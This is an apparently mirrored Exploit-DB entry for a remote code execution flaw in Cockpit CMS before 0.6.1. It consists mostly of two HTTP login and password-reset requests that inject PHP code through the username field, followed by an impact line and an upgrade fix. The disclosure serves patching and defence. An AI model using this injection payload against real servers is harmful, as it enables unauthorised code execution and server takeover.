Cockpit CMS 0.6.1 – Remote Code Execution

• Exploit Database
• 104 阅读

• 作者： Rafael Resende
  日期： 2021-01-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49390/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  # Cockpit CMS 0.6.1 - Remote Code Execution # Product: Cockpit CMS (https://getcockpit.com) # Version: Cockpit CMS < 0.6.1 # Vulnerability Type: PHP Code Execution # Exploit Author: Rafael Resende # Attack Type: Remote # Vulnerability Description # Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06.   # Exploit Login POST /auth/check HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Content-Type: application/json; charset=UTF-8 Content-Length: 52 Origin: https://example.com   {"auth":{"user":"test&apos;.phpinfo().&apos;","password":"b"}}   # Exploit Password reset POST /auth/requestreset HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Content-Type: application/json; charset=UTF-8 Content-Length: 28 Origin: https://example.com   {"user":"test&apos;.phpinfo().&apos;"}   ## Impact Allows attackers to execute malicious codes to get access to the server.   ## Fix Update to versions >= 0.6.1